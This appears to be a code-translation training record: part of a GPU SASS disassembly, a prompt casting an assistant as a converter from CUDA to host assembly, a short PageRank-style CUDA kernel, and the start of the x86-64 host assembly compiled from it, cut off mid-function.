/*04e0*/ LDG.E R7, [R10.64] ; /* 0x000000040a077981 */
/* 0x000368000c1e1900 */
/*04f0*/ LDG.E R25, [R8.64] ; /* 0x0000000408197981 */
/* 0x001122000c1e1900 */
/*0500*/ IMAD.WIDE R10, R16, R2, c[0x0][0x170] ; /* 0x00005c00100a7625 */
/* 0x002fc800078e0202 */
/*0510*/ IMAD.WIDE R8, R16, R2, c[0x0][0x180] ; /* 0x0000600010087625 */
/* 0x001fcc00078e0202 */
/*0520*/ LDG.E R8, [R8.64] ; /* 0x0000000408087981 */
/* 0x000128000c1e1900 */
/*0530*/ LDG.E R9, [R10.64] ; /* 0x000000040a097981 */
/* 0x001164000c1e1900 */
/*0540*/ IMAD.WIDE R10, R14, R2, c[0x0][0x180] ; /* 0x000060000e0a7625 */
/* 0x001fcc00078e0202 */
/*0550*/ LDG.E R11, [R10.64] ; /* 0x000000040a0b7981 */
/* 0x000168000c1e1900 */
/*0560*/ LDG.E R10, [R12.64+0x18] ; /* 0x000018040c0a7981 */
/* 0x001f62000c1e1900 */
/*0570*/ FMUL R28, R17, 0.85000002384185791016 ; /* 0x3f59999a111c7820 */
/* 0x004fc80000400000 */
/*0580*/ FFMA R27, R28, R15, R27 ; /* 0x0000000f1c1b7223 */
/* 0x000fe4000000001b */
/*0590*/ IMAD.WIDE R14, R14, R2, c[0x0][0x170] ; /* 0x00005c000e0e7625 */
/* 0x000fc800078e0202 */
/*05a0*/ IMAD.WIDE R16, R20.reuse, R2.reuse, c[0x0][0x180] ; /* 0x0000600014107625 */
/* 0x0c0fe400078e0202 */
/*05b0*/ LDG.E R14, [R14.64] ; /* 0x000000040e0e7981 */
/* 0x0000a4000c1e1900 */
/*05c0*/ IMAD.WIDE R20, R20, R2, c[0x0][0x170] ; /* 0x00005c0014147625 */
/* 0x000fcc00078e0202 */
/*05d0*/ LDG.E R21, [R20.64] ; /* 0x0000000414157981 */
/* 0x0002a8000c1e1900 */
/*05e0*/ LDG.E R15, [R16.64] ; /* 0x00000004100f7981 */
/* 0x0010a2000c1e1900 */
/*05f0*/ FMUL R24, R24, 0.85000002384185791016 ; /* 0x3f59999a18187820 */
/* 0x008fc60000400000 */
/*0600*/ LDG.E R20, [R12.64+0x1c] ; /* 0x00001c040c147981 */
/* 0x002ee2000c1e1900 */
/*0610*/ IMAD.WIDE R16, R22, R2, c[0x0][0x180] ; /* 0x0000600016107625 */
/* 0x001fca00078e0202 */
/*0620*/ LDG.E R23, [R16.64] ; /* 0x0000000410177981 */
/* 0x0000e4000c1e1900 */
/*0630*/ IMAD.WIDE R16, R22, R2, c[0x0][0x170] ; /* 0x00005c0016107625 */
/* 0x001fe400078e0202 */
/*0640*/ LDG.E R22, [R12.64+0x20] ; /* 0x000020040c167981 */
/* 0x000ee8000c1e1900 */
/*0650*/ LDG.E R16, [R16.64] ; /* 0x0000000410107981 */
/* 0x000ee2000c1e1900 */
/*0660*/ FFMA R27, R24, R19, R27 ; /* 0x00000013181b7223 */
/* 0x000fc6000000001b */
/*0670*/ LDG.E R24, [R12.64+0x24] ; /* 0x000024040c187981 */
/* 0x000ee8000c1e1900 */
/*0680*/ LDG.E R19, [R12.64+0x28] ; /* 0x000028040c137981 */
/* 0x000ee2000c1e1900 */
/*0690*/ FMUL R18, R18, 0.85000002384185791016 ; /* 0x3f59999a12127820 */
/* 0x010fc80000400000 */
/*06a0*/ FFMA R28, R18, R26, R27 ; /* 0x0000001a121c7223 */
/* 0x000fe4000000001b */
/*06b0*/ LDG.E R18, [R12.64+0x2c] ; /* 0x00002c040c127981 */
/* 0x000f22000c1e1900 */
/*06c0*/ FMUL R7, R7, 0.85000002384185791016 ; /* 0x3f59999a07077820 */
/* 0x020fc60000400000 */
/*06d0*/ LDG.E R26, [R12.64+0x30] ; /* 0x000030040c1a7981 */
/* 0x000f62000c1e1900 */
/*06e0*/ FFMA R28, R7, R25, R28 ; /* 0x00000019071c7223 */
/* 0x000fc6000000001c */
/*06f0*/ LDG.E R7, [R12.64+0x34] ; /* 0x000034040c077981 */
/* 0x000f22000c1e1900 */
/*0700*/ FMUL R8, R8, 0.85000002384185791016 ; /* 0x3f59999a08087820 */
/* 0x000fc80000400000 */
/*0710*/ FFMA R9, R8, R9, R28 ; /* 0x0000000908097223 */
/* 0x000fe4000000001c */
/*0720*/ FMUL R11, R11, 0.85000002384185791016 ; /* 0x3f59999a0b0b7820 */
/* 0x000fc80000400000 */
/*0730*/ FFMA R14, R11, R14, R9 ; /* 0x0000000e0b0e7223 */
/* 0x004fe40000000009 */
/*0740*/ FMUL R15, R15, 0.85000002384185791016 ; /* 0x3f59999a0f0f7820 */
/* 0x000fc80000400000 */
/*0750*/ FFMA R21, R15, R21, R14 ; /* 0x000000150f157223 */
/* 0x000fe4000000000e */
/*0760*/ IMAD.WIDE R14, R10, R2, c[0x0][0x180] ; /* 0x000060000a0e7625 */
/* 0x000fc800078e0202 */
/*0770*/ IMAD.WIDE R10, R10, R2.reuse, c[0x0][0x170] ; /* 0x00005c000a0a7625 */
/* 0x080fe200078e0202 */
/*0780*/ LDG.E R9, [R14.64] ; /* 0x000000040e097981 */
/* 0x0000a6000c1e1900 */
/*0790*/ FMUL R8, R23, 0.85000002384185791016 ; /* 0x3f59999a17087820 */
/* 0x008fe40000400000 */
/*07a0*/ LDG.E R10, [R10.64] ; /* 0x000000040a0a7981 */
/* 0x0002e2000c1e1900 */
/*07b0*/ IMAD.WIDE R14, R22, R2, c[0x0][0x180] ; /* 0x00006000160e7625 */
/* 0x001fc800078e0202 */
/*07c0*/ FFMA R8, R8, R16, R21 ; /* 0x0000001008087223 */
/* 0x000fe40000000015 */
/*07d0*/ IMAD.WIDE R16, R20, R2, c[0x0][0x180] ; /* 0x0000600014107625 */
/* 0x000fc800078e0202 */
/*07e0*/ IMAD.WIDE R20, R20, R2.reuse, c[0x0][0x170] ; /* 0x00005c0014147625 */
/* 0x080fe200078e0202 */
/*07f0*/ LDG.E R11, [R16.64] ; /* 0x00000004100b7981 */
/* 0x0020ea000c1e1900 */
/*0800*/ LDG.E R20, [R20.64] ; /* 0x0000000414147981 */
/* 0x0002e2000c1e1900 */
/*0810*/ IMAD.WIDE R16, R24, R2, c[0x0][0x180] ; /* 0x0000600018107625 */
/* 0x001fc800078e0202 */
/*0820*/ IMAD.WIDE R24, R24, R2.reuse, c[0x0][0x170] ; /* 0x00005c0018187625 */
/* 0x080fe200078e0202 */
/*0830*/ LDG.E R21, [R14.64] ; /* 0x000000040e157981 */
/* 0x0020e6000c1e1900 */
/*0840*/ IMAD.WIDE R22, R22, R2.reuse, c[0x0][0x170] ; /* 0x00005c0016167625 */
/* 0x080fe400078e0202 */
/*0850*/ LDG.E R24, [R24.64] ; /* 0x0000000418187981 */
/* 0x0002e8000c1e1900 */
/*0860*/ LDG.E R22, [R22.64] ; /* 0x0000000416167981 */
/* 0x0008e2000c1e1900 */
/*0870*/ IMAD.WIDE R14, R19, R2, c[0x0][0x180] ; /* 0x00006000130e7625 */
/* 0x001fca00078e0202 */
/*0880*/ LDG.E R25, [R14.64] ; /* 0x000000040e197981 */
/* 0x0020e8000c1e1900 */
/*0890*/ LDG.E R23, [R16.64] ; /* 0x0000000410177981 */
/* 0x010322000c1e1900 */
/*08a0*/ IMAD.WIDE R14, R19, R2, c[0x0][0x170] ; /* 0x00005c00130e7625 */
/* 0x001fc800078e0202 */
/*08b0*/ IMAD.WIDE R16, R18.reuse, R2.reuse, c[0x0][0x180] ; /* 0x0000600012107625 */
/* 0x0c2fe200078e0202 */
/*08c0*/ LDG.E R27, [R14.64] ; /* 0x000000040e1b7981 */
/* 0x000b26000c1e1900 */
/*08d0*/ IMAD.WIDE R18, R18, R2.reuse, c[0x0][0x170] ; /* 0x00005c0012127625 */
/* 0x080fe200078e0202 */
/*08e0*/ LDG.E R28, [R16.64] ; /* 0x00000004101c7981 */
/* 0x00012a000c1e1900 */
/*08f0*/ LDG.E R18, [R18.64] ; /* 0x0000000412127981 */
/* 0x000322000c1e1900 */
/*0900*/ IMAD.WIDE R14, R26, R2, c[0x0][0x180] ; /* 0x000060001a0e7625 */
/* 0x020fc800078e0202 */
/*0910*/ IMAD.WIDE R16, R26, R2.reuse, c[0x0][0x170] ; /* 0x00005c001a107625 */
/* 0x081fe400078e0202 */
/*0920*/ LDG.E R26, [R14.64] ; /* 0x000000040e1a7981 */
/* 0x000168000c1e1900 */
/*0930*/ LDG.E R29, [R16.64] ; /* 0x00000004101d7981 */
/* 0x000f62000c1e1900 */
/*0940*/ IMAD.WIDE R14, R7, R2, c[0x0][0x180] ; /* 0x00006000070e7625 */
/* 0x001fca00078e0202 */
/*0950*/ LDG.E R19, [R14.64] ; /* 0x000000040e137981 */
/* 0x002164000c1e1900 */
/*0960*/ IMAD.WIDE R14, R7, R2, c[0x0][0x170] ; /* 0x00005c00070e7625 */
/* 0x001fca00078e0202 */
/*0970*/ LDG.E R7, [R14.64] ; /* 0x000000040e077981 */
/* 0x000f62000c1e1900 */
/*0980*/ IADD3 R6, R6, 0x10, RZ ; /* 0x0000001006067810 */
/* 0x000fc80007ffe0ff */
/*0990*/ ISETP.GE.AND P1, PT, R6, R5, PT ; /* 0x000000050600720c */
/* 0x000fe40003f26270 */
/*09a0*/ IADD3 R12, P2, R12, 0x40, RZ ; /* 0x000000400c0c7810 */
/* 0x000fc80007f5e0ff */
/*09b0*/ IADD3.X R13, RZ, R13, RZ, P2, !PT ; /* 0x0000000dff0d7210 */
/* 0x000fe200017fe4ff */
/*09c0*/ FMUL R9, R9, 0.85000002384185791016 ; /* 0x3f59999a09097820 */
/* 0x004fc80000400000 */
/*09d0*/ FFMA R9, R9, R10, R8 ; /* 0x0000000a09097223 */
/* 0x008fe40000000008 */
/*09e0*/ FMUL R11, R11, 0.85000002384185791016 ; /* 0x3f59999a0b0b7820 */
/* 0x000fc80000400000 */
/*09f0*/ FFMA R9, R11, R20, R9 ; /* 0x000000140b097223 */
/* 0x000fe40000000009 */
/*0a00*/ FMUL R21, R21, 0.85000002384185791016 ; /* 0x3f59999a15157820 */
/* 0x000fc80000400000 */
/*0a10*/ FFMA R9, R21, R22, R9 ; /* 0x0000001615097223 */
/* 0x000fe40000000009 */
/*0a20*/ FMUL R25, R25, 0.85000002384185791016 ; /* 0x3f59999a19197820 */
/* 0x000fe40000400000 */
/*0a30*/ FMUL R23, R23, 0.85000002384185791016 ; /* 0x3f59999a17177820 */
/* 0x010fc80000400000 */
/*0a40*/ FFMA R24, R23, R24, R9 ; /* 0x0000001817187223 */
/* 0x000fc80000000009 */
/*0a50*/ FFMA R25, R25, R27, R24 ; /* 0x0000001b19197223 */
/* 0x000fe40000000018 */
/*0a60*/ FMUL R28, R28, 0.85000002384185791016 ; /* 0x3f59999a1c1c7820 */
/* 0x000fc80000400000 */
/*0a70*/ FFMA R18, R28, R18, R25 ; /* 0x000000121c127223 */
/* 0x000fe40000000019 */
/*0a80*/ FMUL R26, R26, 0.85000002384185791016 ; /* 0x3f59999a1a1a7820 */
/* 0x020fc80000400000 */
/*0a90*/ FFMA R18, R26, R29, R18 ; /* 0x0000001d1a127223 */
/* 0x000fe40000000012 */
/*0aa0*/ FMUL R19, R19, 0.85000002384185791016 ; /* 0x3f59999a13137820 */
/* 0x000fc80000400000 */
/*0ab0*/ FFMA R27, R19, R7, R18 ; /* 0x00000007131b7223 */
/* 0x000fe20000000012 */
/*0ac0*/ @!P1 BRA 0x380 ; /* 0xfffff8b000009947 */
/* 0x000fea000383ffff */
/*0ad0*/ BSYNC B2 ; /* 0x0000000000027941 */
/* 0x000fea0003800000 */
/*0ae0*/ IADD3 R5, R3, -R6, RZ ; /* 0x8000000603057210 */
/* 0x000fe20007ffe0ff */
/*0af0*/ BSSY B2, 0xef0 ; /* 0x000003f000027945 */
/* 0x000fe60003800000 */
/*0b00*/ ISETP.GT.AND P1, PT, R5, 0x4, PT ; /* 0x000000040500780c */
/* 0x000fda0003f24270 */
/*0b10*/ @!P1 BRA 0xee0 ; /* 0x000003c000009947 */
/* 0x000fea0003800000 */
/*0b20*/ LDG.E R11, [R12.64+-0x8] ; /* 0xfffff8040c0b7981 */
/* 0x000ea8000c1e1900 */
/*0b30*/ LDG.E R21, [R12.64+-0x4] ; /* 0xfffffc040c157981 */
/* 0x000ee8000c1e1900 */
/*0b40*/ LDG.E R14, [R12.64+0x4] ; /* 0x000004040c0e7981 */
/* 0x000f28000c1e1900 */
/*0b50*/ LDG.E R17, [R12.64] ; /* 0x000000040c117981 */
/* 0x000f68000c1e1900 */
/*0b60*/ LDG.E R22, [R12.64+0x8] ; /* 0x000008040c167981 */
/* 0x000f68000c1e1900 */
/*0b70*/ LDG.E R24, [R12.64+0xc] ; /* 0x00000c040c187981 */
/* 0x000f68000c1e1900 */
/*0b80*/ LDG.E R25, [R12.64+0x10] ; /* 0x000010040c197981 */
/* 0x000f68000c1e1900 */
/*0b90*/ LDG.E R23, [R12.64+0x14] ; /* 0x000014040c177981 */
/* 0x000f62000c1e1900 */
/*0ba0*/ IMAD.WIDE R28, R11, R2, c[0x0][0x180] ; /* 0x000060000b1c7625 */
/* 0x004fc800078e0202 */
/*0bb0*/ IMAD.WIDE R10, R11, R2.reuse, c[0x0][0x170] ; /* 0x00005c000b0a7625 */
/* 0x080fe200078e0202 */
/*0bc0*/ LDG.E R5, [R28.64] ; /* 0x000000041c057981 */
/* 0x0000a6000c1e1900 */
/*0bd0*/ IMAD.WIDE R8, R21.reuse, R2.reuse, c[0x0][0x180] ; /* 0x0000600015087625 */
/* 0x0c8fe200078e0202 */
/*0be0*/ LDG.E R7, [R10.64] ; /* 0x000000040a077981 */
/* 0x000ae6000c1e1900 */
/*0bf0*/ IMAD.WIDE R18, R14, R2.reuse, c[0x0][0x180] ; /* 0x000060000e127625 */
/* 0x090fe400078e0202 */
/*0c00*/ LDG.E R8, [R8.64] ; /* 0x0000000408087981 */
/* 0x000324000c1e1900 */
/*0c10*/ IMAD.WIDE R20, R21, R2, c[0x0][0x170] ; /* 0x00005c0015147625 */
/* 0x000fc400078e0202 */
/*0c20*/ LDG.E R18, [R18.64] ; /* 0x0000000412127981 */
/* 0x000124000c1e1900 */
/*0c30*/ IMAD.WIDE R10, R17, R2, c[0x0][0x180] ; /* 0x00006000110a7625 */
/* 0x020fc800078e0202 */
/*0c40*/ IMAD.WIDE R14, R14, R2.reuse, c[0x0][0x170] ; /* 0x00005c000e0e7625 */
/* 0x080fe200078e0202 */
/*0c50*/ LDG.E R9, [R20.64] ; /* 0x0000000414097981 */
/* 0x002366000c1e1900 */
/*0c60*/ IMAD.WIDE R16, R17, R2.reuse, c[0x0][0x170] ; /* 0x00005c0011107625 */
/* 0x080fe200078e0202 */
/*0c70*/ LDG.E R10, [R10.64] ; /* 0x000000040a0a7981 */
/* 0x000368000c1e1900 */
/*0c80*/ LDG.E R19, [R14.64] ; /* 0x000000040e137981 */
/* 0x001162000c1e1900 */
/*0c90*/ IMAD.WIDE R20, R22, R2, c[0x0][0x180] ; /* 0x0000600016147625 */
/* 0x002fc600078e0202 */
/*0ca0*/ LDG.E R11, [R16.64] ; /* 0x00000004100b7981 */
/* 0x000362000c1e1900 */
/*0cb0*/ IMAD.WIDE R14, R24, R2, c[0x0][0x180] ; /* 0x00006000180e7625 */
/* 0x001fc600078e0202 */
/*0cc0*/ LDG.E R20, [R20.64] ; /* 0x0000000414147981 */
/* 0x000162000c1e1900 */
/*0cd0*/ IMAD.WIDE R16, R22, R2, c[0x0][0x170] ; /* 0x00005c0016107625 */
/* 0x002fc600078e0202 */
/*0ce0*/ LDG.E R22, [R14.64] ; /* 0x000000040e167981 */
/* 0x000368000c1e1900 */
/*0cf0*/ LDG.E R21, [R16.64] ; /* 0x0000000410157981 */
/* 0x001162000c1e1900 */
/*0d00*/ IMAD.WIDE R14, R24, R2, c[0x0][0x170] ; /* 0x00005c00180e7625 */
/* 0x002fc800078e0202 */
/*0d10*/ IMAD.WIDE R16, R25.reuse, R2.reuse, c[0x0][0x180] ; /* 0x0000600019107625 */
/* 0x0c1fe200078e0202 */
/*0d20*/ LDG.E R24, [R14.64] ; /* 0x000000040e187981 */
/* 0x000168000c1e1900 */
/*0d30*/ LDG.E R26, [R16.64] ; /* 0x00000004101a7981 */
/* 0x000362000c1e1900 */
/*0d40*/ IMAD.WIDE R14, R25, R2, c[0x0][0x170] ; /* 0x00005c00190e7625 */
/* 0x001fc800078e0202 */
/*0d50*/ IMAD.WIDE R16, R23.reuse, R2.reuse, c[0x0][0x180] ; /* 0x0000600017107625 */
/* 0x0c2fe200078e0202 */
/*0d60*/ LDG.E R25, [R14.64] ; /* 0x000000040e197981 */
/* 0x000168000c1e1900 */
/*0d70*/ LDG.E R28, [R16.64] ; /* 0x00000004101c7981 */
/* 0x000f62000c1e1900 */
/*0d80*/ IMAD.WIDE R14, R23, R2, c[0x0][0x170] ; /* 0x00005c00170e7625 */
/* 0x001fca00078e0202 */
/*0d90*/ LDG.E R23, [R14.64] ; /* 0x000000040e177981 */
/* 0x000f62000c1e1900 */
/*0da0*/ IADD3 R12, P1, R12, 0x20, RZ ; /* 0x000000200c0c7810 */
/* 0x000fe40007f3e0ff */
/*0db0*/ PLOP3.LUT P0, PT, PT, PT, PT, 0x8, 0x0 ; /* 0x000000000000781c */
/* 0x000fe40003f0e170 */
/*0dc0*/ IADD3.X R13, RZ, R13, RZ, P1, !PT ; /* 0x0000000dff0d7210 */
/* 0x000fe40000ffe4ff */
/*0dd0*/ IADD3 R6, R6, 0x8, RZ ; /* 0x0000000806067810 */
/* 0x000fe20007ffe0ff */
/*0de0*/ FMUL R5, R5, 0.85000002384185791016 ; /* 0x3f59999a05057820 */
/* 0x004fc80000400000 */
/*0df0*/ FFMA R5, R5, R7, R27 ; /* 0x0000000705057223 */
/* 0x008fe4000000001b */
/*0e00*/ FMUL R8, R8, 0.85000002384185791016 ; /* 0x3f59999a08087820 */
/* 0x010fe40000400000 */
/*0e10*/ FMUL R18, R18, 0.85000002384185791016 ; /* 0x3f59999a12127820 */
/* 0x000fe40000400000 */
/*0e20*/ FFMA R8, R8, R9, R5 ; /* 0x0000000908087223 */
/* 0x020fe40000000005 */
/*0e30*/ FMUL R10, R10, 0.85000002384185791016 ; /* 0x3f59999a0a0a7820 */
/* 0x000fc80000400000 */
/*0e40*/ FFMA R8, R10, R11, R8 ; /* 0x0000000b0a087223 */
/* 0x000fc80000000008 */
/*0e50*/ FFMA R8, R18, R19, R8 ; /* 0x0000001312087223 */
/* 0x000fe40000000008 */
/*0e60*/ FMUL R20, R20, 0.85000002384185791016 ; /* 0x3f59999a14147820 */
/* 0x000fe40000400000 */
/*0e70*/ FMUL R22, R22, 0.85000002384185791016 ; /* 0x3f59999a16167820 */
/* 0x000fe40000400000 */
/*0e80*/ FFMA R21, R20, R21, R8 ; /* 0x0000001514157223 */
/* 0x000fc80000000008 */
/*0e90*/ FFMA R22, R22, R24, R21 ; /* 0x0000001816167223 */
/* 0x000fe40000000015 */
/*0ea0*/ FMUL R26, R26, 0.85000002384185791016 ; /* 0x3f59999a1a1a7820 */
/* 0x000fc80000400000 */
/*0eb0*/ FFMA R22, R26, R25, R22 ; /* 0x000000191a167223 */
/* 0x000fe40000000016 */
/*0ec0*/ FMUL R28, R28, 0.85000002384185791016 ; /* 0x3f59999a1c1c7820 */
/* 0x000fc80000400000 */
/*0ed0*/ FFMA R27, R28, R23, R22 ; /* 0x000000171c1b7223 */
/* 0x000fe40000000016 */
/*0ee0*/ BSYNC B2 ; /* 0x0000000000027941 */
/* 0x000fea0003800000 */
/*0ef0*/ ISETP.LT.OR P0, PT, R6, R3, P0 ; /* 0x000000030600720c */
/* 0x000fda0000701670 */
/*0f00*/ @!P0 BRA 0x10d0 ; /* 0x000001c000008947 */
/* 0x000fea0003800000 */
/*0f10*/ LDG.E R15, [R12.64+-0x8] ; /* 0xfffff8040c0f7981 */
/* 0x000ea8000c1e1900 */
/*0f20*/ LDG.E R19, [R12.64+-0x4] ; /* 0xfffffc040c137981 */
/* 0x000ee8000c1e1900 */
/*0f30*/ LDG.E R9, [R12.64] ; /* 0x000000040c097981 */
/* 0x000f28000c1e1900 */
/*0f40*/ LDG.E R3, [R12.64+0x4] ; /* 0x000004040c037981 */
/* 0x000f62000c1e1900 */
/*0f50*/ IMAD.WIDE R10, R15, R2, c[0x0][0x180] ; /* 0x000060000f0a7625 */
/* 0x004fc800078e0202 */
/*0f60*/ IMAD.WIDE R14, R15, R2.reuse, c[0x0][0x170] ; /* 0x00005c000f0e7625 */
/* 0x080fe400078e0202 */
/*0f70*/ LDG.E R10, [R10.64] ; /* 0x000000040a0a7981 */
/* 0x000ea4000c1e1900 */
/*0f80*/ IMAD.WIDE R16, R19.reuse, R2.reuse, c[0x0][0x180] ; /* 0x0000600013107625 */
/* 0x0c8fe400078e0202 */
/*0f90*/ LDG.E R14, [R14.64] ; /* 0x000000040e0e7981 */
/* 0x000ee4000c1e1900 */
/*0fa0*/ IMAD.WIDE R18, R19, R2.reuse, c[0x0][0x170] ; /* 0x00005c0013127625 */
/* 0x080fe400078e0202 */
/*0fb0*/ LDG.E R16, [R16.64] ; /* 0x0000000410107981 */
/* 0x000ee4000c1e1900 */
/*0fc0*/ IMAD.WIDE R20, R9, R2, c[0x0][0x180] ; /* 0x0000600009147625 */
/* 0x010fc400078e0202 */
/*0fd0*/ LDG.E R18, [R18.64] ; /* 0x0000000412127981 */
/* 0x000f24000c1e1900 */
/*0fe0*/ IMAD.WIDE R6, R3, R2.reuse, c[0x0][0x180] ; /* 0x0000600003067625 */
/* 0x0a0fe400078e0202 */
/*0ff0*/ LDG.E R20, [R20.64] ; /* 0x0000000414147981 */
/* 0x000f64000c1e1900 */
/*1000*/ IMAD.WIDE R8, R9, R2.reuse, c[0x0][0x170] ; /* 0x00005c0009087625 */
/* 0x080fe400078e0202 */
/*1010*/ LDG.E R6, [R6.64] ; /* 0x0000000406067981 */
/* 0x000f64000c1e1900 */
/*1020*/ IMAD.WIDE R2, R3, R2, c[0x0][0x170] ; /* 0x00005c0003027625 */
/* 0x000fc400078e0202 */
/*1030*/ LDG.E R8, [R8.64] ; /* 0x0000000408087981 */
/* 0x000f68000c1e1900 */
/*1040*/ LDG.E R2, [R2.64] ; /* 0x0000000402027981 */
/* 0x000f62000c1e1900 */
/*1050*/ FMUL R10, R10, 0.85000002384185791016 ; /* 0x3f59999a0a0a7820 */
/* 0x004fc80000400000 */
/*1060*/ FFMA R10, R10, R14, R27 ; /* 0x0000000e0a0a7223 */
/* 0x008fe4000000001b */
/*1070*/ FMUL R5, R16, 0.85000002384185791016 ; /* 0x3f59999a10057820 */
/* 0x000fc80000400000 */
/*1080*/ FFMA R5, R5, R18, R10 ; /* 0x0000001205057223 */
/* 0x010fe4000000000a */
/*1090*/ FMUL R10, R20, 0.85000002384185791016 ; /* 0x3f59999a140a7820 */
/* 0x020fe40000400000 */
/*10a0*/ FMUL R12, R6, 0.85000002384185791016 ; /* 0x3f59999a060c7820 */
/* 0x000fe40000400000 */
/*10b0*/ FFMA R5, R10, R8, R5 ; /* 0x000000080a057223 */
/* 0x000fc80000000005 */
/*10c0*/ FFMA R27, R12, R2, R5 ; /* 0x000000020c1b7223 */
/* 0x000fe40000000005 */
/*10d0*/ BSYNC B1 ; /* 0x0000000000017941 */
/* 0x000fea0003800000 */
/*10e0*/ FADD R27, R27, 0.14999997615814208984 ; /* 0x3e1999981b1b7421 */
/* 0x000fe40000000000 */
/*10f0*/ BSYNC B0 ; /* 0x0000000000007941 */
/* 0x000fea0003800000 */
/*1100*/ LEA R2, P0, R0, c[0x0][0x188], 0x2 ; /* 0x0000620000027a11 */
/* 0x000fc800078010ff */
/*1110*/ LEA.HI.X R3, R0, c[0x0][0x18c], R4, 0x2, P0 ; /* 0x0000630000037a11 */
/* 0x000fca00000f1404 */
/*1120*/ STG.E [R2.64], R27 ; /* 0x0000001b02007986 */
/* 0x000fe2000c101904 */
/*1130*/ EXIT ; /* 0x000000000000794d */
/* 0x000fea0003800000 */
/*1140*/ BRA 0x1140; /* 0xfffffff000007947 */
/* 0x000fc0000383ffff */
/*1150*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*1160*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*1170*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*1180*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*1190*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11a0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11b0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11c0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11d0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11e0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
/*11f0*/ NOP; /* 0x0000000000007918 */
/* 0x000fc00000000000 */
.......... |
You are a helpful coding assistant specialized in converting CUDA source code to CUDA host assembly. | #include "includes.h"
__global__ void compute_inv(const int* destination_offsets, const int* source_indices, const float* out_degrees, const int node_count, const float* input, float *output)
{
int dest = blockDim.x*blockIdx.x + threadIdx.x;
if (dest<node_count)
{
int srcStart = destination_offsets[dest];
int srcEnd = destination_offsets[dest + 1];
int in_degree = srcEnd - srcStart;
float rank = 0;
if (in_degree>0)
{
for (int srcIdx = srcStart; srcIdx<srcEnd; ++srcIdx)
{
int src = source_indices[srcIdx];
float contrib = ((input[src] * DECAY) * out_degrees[src]);
rank = rank + contrib;
}
}
output[dest] = rank + (1 - DECAY);
}
} | .file "tmpxft_00096f93_00000000-6_compute_inv.cudafe1.cpp"
.text
#APP
#NO_APP
.type _ZL26__cudaUnregisterBinaryUtilv, @function
_ZL26__cudaUnregisterBinaryUtilv:
.LFB2029:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
movq _ZL20__cudaFatCubinHandle(%rip), %rdi
call __cudaUnregisterFatBinary@PLT
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2029:
.size _ZL26__cudaUnregisterBinaryUtilv, .-_ZL26__cudaUnregisterBinaryUtilv
.globl _Z44__device_stub__Z11compute_invPKiS0_PKfiS2_PfPKiS0_PKfiS2_Pf
.type _Z44__device_stub__Z11compute_invPKiS0_PKfiS2_PfPKiS0_PKfiS2_Pf, @function
_Z44__device_stub__Z11compute_invPKiS0_PKfiS2_PfPKiS0_PKfiS2_Pf:
.LFB2051:
.cfi_startproc
endbr64
subq $184, %rsp
.cfi_def_cfa_offset 192
movq %rdi, 40(%rsp)
movq %rsi, 32(%rsp)
movq %rdx, 24(%rsp)
movl %ecx, 20(%rsp)
movq %r8, 8(%rsp)
movq %r9, (%rsp)
movq %fs:40, %rax
movq %rax, 168(%rsp)
xorl %eax, %eax
leaq 40(%rsp), %rax
movq %rax, 112(%rsp)
leaq 32(%rsp), %rax
movq %rax, 120(%rsp)
leaq 24(%rsp), %rax
movq %rax, 128(%rsp)
leaq 20(%rsp), %rax
movq %rax, 136(%rsp)
leaq 8(%rsp), %rax
movq %rax, 144(%rsp)
movq %rsp, %rax
movq %rax, 152(%rsp)
movl $1, 64(%rsp)
movl $1, 68(%rsp)
movl $1, 72(%rsp)
movl $1, 76(%rsp)
movl $1, 80(%rsp)
movl $1, 84(%rsp)
leaq 56(%rsp), %rcx
leaq 48(%rsp), %rdx
leaq 76(%rsp), %rsi
leaq 64(%rsp), %rdi
call __cudaPopCallConfiguration@PLT
testl %eax, %eax
je .L7
.L3:
movq 168(%rsp), %rax
subq %fs:40, %rax
jne .L8
addq $184, %rsp
.cfi_remember_state
.cfi_def_cfa_offset 8
ret
.L7:
.cfi_restore_state
pushq 56(%rsp)
.cfi_def_cfa_offset 200
pushq 56(%rsp)
.cfi_def_cfa_offset 208
leaq 128(%rsp), %r9
movq 92(%rsp), %rcx
movl 100(%rsp), %r8d
movq 80(%rsp), %rsi
movl 88(%rsp), %edx
leaq _Z11compute_invPKiS0_PKfiS2_Pf(%rip), %rdi
call cudaLaunchKernel@PLT
addq $16, %rsp
.cfi_def_cfa_offset 192
jmp .L3
.L8:
call __stack_chk_fail@PLT
.cfi_endproc
.LFE2051:
.size _Z44__device_stub__Z11compute_invPKiS0_PKfiS2_PfPKiS0_PKfiS2_Pf, .-_Z44__device_stub__Z11compute_invPKiS0_PKfiS2_PfPKiS0_PKfiS2_Pf
.globl _Z11compute_invPKiS0_PKfiS2_Pf
.type _Z11compute_invPKiS0_PKfiS2_Pf, @function
_Z11compute_invPKiS0_PKfiS2_Pf:
.LFB2052:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
call _Z44__device_stub__Z11compute_invPKiS0_PKfiS2_PfPKiS0_PKfiS2_Pf
addq $8, %rsp
.cfi_def_cfa_offset 8
ret
.cfi_endproc
.LFE2052:
.size _Z11compute_invPKiS0_PKfiS2_Pf, .-_Z11compute_invPKiS0_PKfiS2_Pf
.section .rodata.str1.8,"aMS",@progbits,1
.align 8
.LC0:
.string "_Z11compute_invPKiS0_PKfiS2_Pf"
.text
.type _ZL24__sti____cudaRegisterAllv, @function
_ZL24__sti____cudaRegisterAllv:
.LFB2054:
.cfi_startproc
endbr64
subq $8, %rsp
.cfi_def_cfa_offset 16
leaq _ZL15__fatDeviceText(%rip), %rdi
call __cudaRegisterFatBinary@PLT
movq %rax, %rdi
movq %rax, _ZL20__cudaFatCubinHandle(%rip)
pushq $0
.cfi_def_cfa_offset 24
pushq $0
.cfi_def_cfa_offset 32
pushq $0
.cfi_def_cfa_offset 40
